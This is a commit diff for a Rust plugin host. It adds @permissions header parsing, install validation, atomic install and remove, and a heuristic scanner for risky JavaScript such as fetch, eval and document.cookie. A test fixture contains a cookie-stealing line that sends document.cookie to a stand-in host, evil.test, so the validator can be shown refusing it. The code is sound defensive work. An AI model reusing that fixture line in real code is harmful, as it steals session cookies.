Plugin permissions and app installs: @permissions header, per-plugin API views, validated install/remove

- host plugins.rs: PERMISSIONS, parse_permissions, ScriptPlugin.permissions/problems (None = legacy,
  full API), validate_plugin (file name, 2 MiB, UTF-8 text without binary bytes, header with @name
  and @version, valid @permissions, network:none refused when the code calls network APIs),
  source_findings, PluginStore::install (atomic rename, never enables, keeps the enabled state on
  update) / remove / is_enabled / file_hash. start/stop scripts run the module body, construction,
  start() and stop() inside window.<global>.withPlugin(id, grants, fn) when the runtime has it.
- runtime permissions.ts: parsePermissions, scopePluginApi (undeclared gated members throw a
  PluginPermissionError; scope().ui gated like api.ui), createPluginContext (the view of the plugin
  whose code runs; legacy = full API). A declaration and guard rail, not a sandbox.
- The `commands` permission name comes from the parallel palette-commands work (its API lands there).
This commit is contained in:
CRTkafa 2026-09-29 01:08:52 +07:00
parent 0d222a45ac
commit cb0f7d358d
3 changed files with 523 additions and 8 deletions

View file

@ -1,8 +1,16 @@
//! BetterDiscord-style extensions for the site page: `*.plugin.js` files and custom CSS.
//!
//! Plugins are trusted by the owner who puts them in the folder. They run in the site page with
//! full page access. Native code only reads files from its own plugins directory, never from a
//! caller-supplied path, and the scripts it builds embed plugin data as JSON string literals.
//! Plugins are trusted by the owner who installs them: by copying files into the folder, or through
//! the app's install screen (dropped file, `waybetter://install` link, store), which shows the name,
//! author, version, source, sha256, permissions and the code before anything is written (see
//! [`validate_plugin`] and [`PluginStore::install`]). They run in the site page with full page
//! access. Native code only reads files from its own plugins directory, never from a caller-supplied
//! path, and the scripts it builds embed plugin data as JSON string literals.
//!
//! A header may declare `@permissions` (see [`PERMISSIONS`]). The page runtime then hands the
//! plugin an API view that throws on undeclared members (`withPlugin`, runtime `permissions.ts`).
//! That is a declaration plus a guard rail, not a sandbox: page JavaScript can always reach around
//! it. A plugin without the line is "legacy" (full API, labelled so in the app).
use serde::Serialize;
use sha2::{Digest, Sha256};
@ -39,6 +47,9 @@ fn content_hash(bytes: &[u8]) -> String {
Sha256::digest(bytes).iter().map(|byte| format!("{byte:02x}")).collect()
}
/// Permissions a plugin header may declare. `network` / `network:none` are declarations only.
pub const PERMISSIONS: &[&str] = &["storage", "ui", "clipboard", "account", "users", "commands", "network", "network:none"];
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ScriptPlugin {
@ -48,6 +59,34 @@ pub struct ScriptPlugin {
pub version: String,
pub author: String,
pub enabled: bool,
/// Declared `@permissions`; `None` = no line (legacy: full API, full page access).
pub permissions: Option<Vec<String>>,
/// Header problems (unknown permission names ...). The valid part still applies.
#[serde(skip_serializing_if = "Vec::is_empty")]
pub problems: Vec<String>,
}
/// Parses a `@permissions` value: comma/space separated, case-insensitive, `none` = no grants.
/// Same rules as the runtime's `parsePermissions`.
pub fn parse_permissions(value: &str) -> Result<Vec<String>, String> {
let mut out: Vec<String> = Vec::new();
for token in value.split(|ch: char| ch == ',' || ch.is_whitespace()).filter(|token| !token.is_empty()) {
let token = token.to_ascii_lowercase();
if token == "none" {
continue;
}
if !PERMISSIONS.contains(&token.as_str()) {
let shown: String = token.chars().take(40).collect();
return Err(format!("unknown permission \"{shown}\""));
}
if !out.contains(&token) {
out.push(token);
}
}
if out.iter().any(|p| p == "network") && out.iter().any(|p| p == "network:none") {
return Err("\"network\" and \"network:none\" contradict each other".into());
}
Ok(out)
}
/// A plugin file name must be a bare `name.plugin.js` inside the plugins directory.
@ -61,7 +100,8 @@ pub fn valid_file_name(file: &str) -> bool {
.all(|ch| ch.is_ascii_alphanumeric() || b"_-. ".contains(&ch))
}
/// Reads `@name`, `@description`, `@version` and `@author` from the leading `/** … */` block.
/// Reads `@name`, `@description`, `@version`, `@author` and `@permissions` from the leading
/// `/** … */` block.
pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
let mut plugin = ScriptPlugin {
file: file.to_owned(),
@ -70,6 +110,8 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
version: String::new(),
author: String::new(),
enabled: false,
permissions: None,
problems: Vec::new(),
};
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
let Some(body) = trimmed.strip_prefix("/**") else {
@ -90,12 +132,106 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
"description" => plugin.description = value,
"version" => plugin.version = value,
"author" => plugin.author = value,
"permissions" => {
// Several lines add up; an invalid line grants nothing from that line.
let granted = plugin.permissions.get_or_insert_with(Vec::new);
match parse_permissions(&value) {
Ok(list) => {
for permission in list {
if !granted.contains(&permission) {
granted.push(permission);
}
}
}
Err(problem) => plugin.problems.push(format!("@permissions: {problem}")),
}
}
_ => {}
}
}
if let Some(list) = &plugin.permissions {
if list.iter().any(|p| p == "network") && list.iter().any(|p| p == "network:none") {
plugin.problems.push("@permissions: \"network\" and \"network:none\" contradict each other".into());
}
}
plugin
}
/// What a source scan found that a reviewer should see before installing. Heuristic: minified or
/// obfuscated code can hide all of these, so an empty list proves nothing.
pub fn source_findings(source: &str) -> Vec<&'static str> {
const PATTERNS: &[(&str, &str)] = &[
("fetch(", "makes network requests (fetch)"),
("XMLHttpRequest", "makes network requests (XMLHttpRequest)"),
("WebSocket", "opens WebSockets"),
("EventSource", "opens server-sent event streams"),
("sendBeacon", "sends beacons"),
("import(", "loads code at runtime (import())"),
("eval(", "evaluates strings as code (eval)"),
("new Function", "evaluates strings as code (new Function)"),
("document.cookie", "reads cookies"),
("innerHTML", "writes HTML (innerHTML)"),
];
let mut found: Vec<&'static str> = Vec::new();
for (needle, finding) in PATTERNS {
if source.contains(needle) && !found.contains(finding) {
found.push(finding);
}
}
found
}
/// A plugin file checked for installation through the app (never for files the owner copied in).
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ValidatedPlugin {
pub meta: ScriptPlugin,
pub sha256: String,
pub size: usize,
pub findings: Vec<&'static str>,
}
/// Checks a plugin before it may be installed: a valid file name, at most [`MAX_PLUGIN_BYTES`],
/// UTF-8 text without NUL or other binary control bytes, a `/** … */` header with `@name` and
/// `@version`, and a valid `@permissions` line when there is one. A header that declares
/// `network:none` while the source calls network APIs is refused.
pub fn validate_plugin(file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
if !valid_file_name(file) {
return Err("VALIDATION: the file name must look like name.plugin.js (letters, digits, - _ . and spaces)".into());
}
if bytes.is_empty() {
return Err("VALIDATION: the plugin file is empty".into());
}
if bytes.len() as u64 > MAX_PLUGIN_BYTES {
return Err("VALIDATION: plugins are limited to 2 MiB".into());
}
let source = std::str::from_utf8(bytes).map_err(|_| "VALIDATION: a plugin must be UTF-8 text")?;
if source.chars().any(|ch| (ch.is_control() && !matches!(ch, '\n' | '\r' | '\t' | '\u{c}')) || ch == '\u{fffd}') {
return Err("VALIDATION: the file contains binary data, not JavaScript text".into());
}
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
if !trimmed.starts_with("/**") || !trimmed.contains("*/") {
return Err("VALIDATION: a plugin must start with a /** … */ header (@name, @version)".into());
}
let meta = parse_meta(file, source);
let header = &trimmed[..trimmed.find("*/").unwrap_or(0)];
if !header.contains("@name") || meta.name.trim().is_empty() {
return Err("VALIDATION: the header needs an @name".into());
}
if meta.version.trim().is_empty() {
return Err("VALIDATION: the header needs an @version".into());
}
if let Some(problem) = meta.problems.first() {
return Err(format!("VALIDATION: {problem}"));
}
let findings = source_findings(source);
let promises_no_network = meta.permissions.as_ref().is_some_and(|list| list.iter().any(|p| p == "network:none"));
if promises_no_network && findings.iter().any(|finding| finding.contains("network") || finding.contains("WebSocket") || finding.contains("beacon") || finding.contains("event streams")) {
return Err("VALIDATION: the header says network:none but the code uses network APIs".into());
}
Ok(ValidatedPlugin { sha256: content_hash(bytes), size: bytes.len(), findings, meta })
}
pub struct PluginStore {
dir: PathBuf,
host: &'static PluginHost,
@ -216,6 +352,53 @@ impl PluginStore {
Ok(plugins)
}
/// Whether `file` is enabled.
pub fn is_enabled(&self, file: &str) -> bool {
self.enabled_set().contains(file)
}
/// sha256 of an installed plugin file, or None when it is missing or unreadable.
pub fn file_hash(&self, file: &str) -> Option<String> {
self.read_source(file).ok().map(|source| content_hash(source.as_bytes()))
}
/// Writes a plugin the owner confirmed in the app's install screen. The bytes are validated
/// again ([`validate_plugin`]); the file is written next to its final name and renamed over it,
/// so a running X tab never reads half a file. Never enables it; an existing file of that name
/// is replaced (an update), keeping its enabled state.
pub fn install(&self, file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
let validated = validate_plugin(file, bytes)?;
self.ensure()?;
let target = self.dir.join(file);
if target.exists() && !fs::metadata(&target).map(|meta| meta.is_file()).unwrap_or(false) {
return Err("PLUGINS: a folder of that name is in the way".into());
}
let temp = self.dir.join(format!(".{file}.installing"));
fs::write(&temp, bytes).map_err(|error| format!("PLUGINS: {error}"))?;
if let Err(error) = fs::rename(&temp, &target) {
let _ = fs::remove_file(&temp);
return Err(format!("PLUGINS: {error}"));
}
Ok(validated)
}
/// Deletes a plugin file and forgets that it was enabled. A first-party plugin removed this way
/// stays removed (see [`Self::install_bundled`]).
pub fn remove(&self, file: &str) -> Result<(), String> {
if !valid_file_name(file) {
return Err("VALIDATION: invalid plugin file name".into());
}
let path = self.dir.join(file);
let meta = fs::metadata(&path).map_err(|_| "PLUGINS: plugin file not found")?;
if !meta.is_file() {
return Err("PLUGINS: not a plugin file".into());
}
if self.is_enabled(file) {
self.set_enabled(file, false)?;
}
fs::remove_file(&path).map_err(|error| format!("PLUGINS: {error}"))
}
pub fn set_enabled(&self, file: &str, enabled: bool) -> Result<(), String> {
self.read_source(file)?;
let mut set = self.enabled_set();
@ -261,17 +444,24 @@ fn js_string(value: &str) -> Result<String, String> {
/// Wraps a CommonJS-style plugin (`module.exports = class { start() {} stop() {} }`).
/// Native code evaluates the result in the site tab, so the page's CSP does not block it.
///
/// The module body, construction, `start()` and `stop()` run inside
/// `window.<global>.withPlugin(id, grants, fn)` when the runtime has it: reads of
/// `window.<global>.api` there return the plugin's view for its declared `@permissions` (`grants`
/// = null for a legacy plugin without the line: the full API).
pub fn start_script(host: &PluginHost, file: &str, source: &str) -> Result<String, String> {
let id = js_string(file)?;
let grants = serde_json::to_string(&parse_meta(file, source).permissions).map_err(|_| "PLUGINS: serialization failed")?;
let PluginHost { runtime_global: global, origin, product, .. } = host;
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW||window.top!==window||location.origin!=='{origin}')return;\
const id={id};if(XW.plugins[id])return;\
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,{grants},f):f();\
try{{const module={{exports:{{}}}};const exports=module.exports;\
(function(module,exports){{\n{source}\n}})(module,exports);\
as(()=>{{(function(module,exports){{\n{source}\n}})(module,exports);}});\
let P=module.exports&&module.exports.default?module.exports.default:module.exports;\
const inst=typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P;\
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')inst.start();\
const inst=as(()=>typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P);\
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')as(()=>inst.start());\
console.info('[{product}] started',id);}}\
catch(e){{XW.errors[id]=String(e&&e.stack||e);console.error('[{product}] plugin failed',id,e);}}}})();"
))
@ -283,7 +473,8 @@ pub fn stop_script(host: &PluginHost, file: &str) -> Result<String, String> {
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW)return;const id={id};const p=XW.plugins[id];\
if(!p)return;delete XW.plugins[id];\
try{{if(typeof p.stop==='function')p.stop();console.info('[{product}] stopped',id);}}\
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,undefined,f):f();\
try{{if(typeof p.stop==='function')as(()=>p.stop());console.info('[{product}] stopped',id);}}\
catch(e){{console.error('[{product}] plugin stop failed',id,e);}}}})();"
))
}
@ -379,4 +570,81 @@ mod tests {
let css = css_script(&HOST, "</style><script>").unwrap();
assert!(css.contains("const id='demo-css'") && css.contains(r#"s.textContent="</style><script>";"#));
}
#[test]
fn permissions_header_is_parsed_strictly() {
assert_eq!(parse_permissions("storage, ui clipboard,UI").unwrap(), vec!["storage", "ui", "clipboard"]);
assert_eq!(parse_permissions("none").unwrap(), Vec::<String>::new());
assert!(parse_permissions("storage, cookies").unwrap_err().contains("unknown permission \"cookies\""));
assert!(parse_permissions("network network:none").is_err());
let legacy = parse_meta("a.plugin.js", "/**\n * @name A\n * @version 1.0.0\n */");
assert_eq!(legacy.permissions, None, "no line = legacy, full API");
let declared = parse_meta("b.plugin.js", "/**\n * @name B\n * @permissions storage, ui\n * @permissions network:none\n */");
assert_eq!(declared.permissions, Some(vec!["storage".into(), "ui".into(), "network:none".into()]));
let bad = parse_meta("c.plugin.js", "/**\n * @name C\n * @permissions storage\n * @permissions root\n */");
assert_eq!(bad.permissions, Some(vec!["storage".into()]), "an invalid line grants nothing");
assert_eq!(bad.problems.len(), 1);
}
#[test]
fn install_validation_rejects_binary_oversized_and_headerless_files() {
let good = "/**\n * @name Good\n * @version 1.0.0\n * @author me\n * @permissions ui\n */\nmodule.exports = class { start(){} stop(){} };";
let ok = validate_plugin("good.plugin.js", good.as_bytes()).unwrap();
assert_eq!((ok.meta.name.as_str(), ok.size), ("Good", good.len()));
assert_eq!(ok.sha256, content_hash(good.as_bytes()));
assert!(ok.findings.is_empty());
let err = |file: &str, bytes: &[u8]| validate_plugin(file, bytes).unwrap_err();
assert!(err("../good.plugin.js", good.as_bytes()).contains("file name"));
assert!(err("good.js", good.as_bytes()).contains("file name"));
assert!(err("e.plugin.js", b"").contains("empty"));
assert!(err("big.plugin.js", &vec![b'a'; MAX_PLUGIN_BYTES as usize + 1]).contains("2 MiB"));
assert!(err("bin.plugin.js", b"/** @name X @version 1 */\0\x01\x02").contains("binary"));
assert!(err("bin.plugin.js", &[0xff, 0xfe, 0x00]).contains("UTF-8"));
assert!(err("nohead.plugin.js", b"module.exports = {};").contains("header"));
assert!(err("noname.plugin.js", b"/**\n * @version 1.0.0\n */").contains("@name"));
assert!(err("nover.plugin.js", b"/**\n * @name N\n */").contains("@version"));
assert!(err("perm.plugin.js", b"/**\n * @name P\n * @version 1\n * @permissions everything\n */").contains("unknown permission"));
let liar = "/**\n * @name L\n * @version 1\n * @permissions network:none\n */\nfetch('https://evil.test/?' + document.cookie);";
assert!(err("liar.plugin.js", liar.as_bytes()).contains("network:none"));
let honest = liar.replace("network:none", "network");
let findings = validate_plugin("honest.plugin.js", honest.as_bytes()).unwrap().findings;
assert!(findings.contains(&"makes network requests (fetch)") && findings.contains(&"reads cookies"));
}
#[test]
fn install_writes_atomically_keeps_enabled_state_and_remove_forgets_it() {
let root = tempfile::tempdir().unwrap();
let store = PluginStore::new(root.path().join("plugins"), &HOST);
let v1 = "/**\n * @name Up\n * @version 1.0.0\n */\nmodule.exports = class { start(){} };";
let v2 = v1.replace("1.0.0", "1.1.0");
store.install("up.plugin.js", v1.as_bytes()).unwrap();
assert!(!store.is_enabled("up.plugin.js"), "installing never enables");
store.set_enabled("up.plugin.js", true).unwrap();
let installed = store.install("up.plugin.js", v2.as_bytes()).unwrap();
assert_eq!(installed.meta.version, "1.1.0");
assert!(store.is_enabled("up.plugin.js"), "an update keeps the enabled state");
assert_eq!(store.file_hash("up.plugin.js"), Some(content_hash(v2.as_bytes())));
assert!(fs::read_dir(store.dir()).unwrap().all(|entry| !entry.unwrap().file_name().to_string_lossy().ends_with(".installing")));
assert!(store.install("bad.plugin.js", b"not a plugin").is_err());
assert!(!store.dir().join("bad.plugin.js").exists(), "an invalid file is never written");
store.remove("up.plugin.js").unwrap();
assert!(!store.dir().join("up.plugin.js").exists());
assert!(!store.is_enabled("up.plugin.js"));
assert!(store.remove("../escape.plugin.js").is_err());
// A removed first-party plugin stays removed.
store.remove("wb-one.plugin.js").unwrap();
store.ensure().unwrap();
assert!(!store.dir().join("wb-one.plugin.js").exists());
}
#[test]
fn start_script_hands_the_runtime_the_declared_grants() {
let declared = start_script(&HOST, "d.plugin.js", "/**\n * @name D\n * @permissions storage, ui\n */\nmodule.exports = {};").unwrap();
assert!(declared.contains(r#"XW.withPlugin(id,["storage","ui"],f)"#));
assert!(declared.contains("as(()=>{(function(module,exports){"), "the module body runs as the plugin");
let legacy = start_script(&HOST, "l.plugin.js", "module.exports = {};").unwrap();
assert!(legacy.contains("XW.withPlugin(id,null,f)"), "legacy plugins get the full API");
let stop = stop_script(&HOST, "d.plugin.js").unwrap();
assert!(stop.contains("XW.withPlugin(id,undefined,f)") && stop.contains("as(()=>p.stop())"));
}
}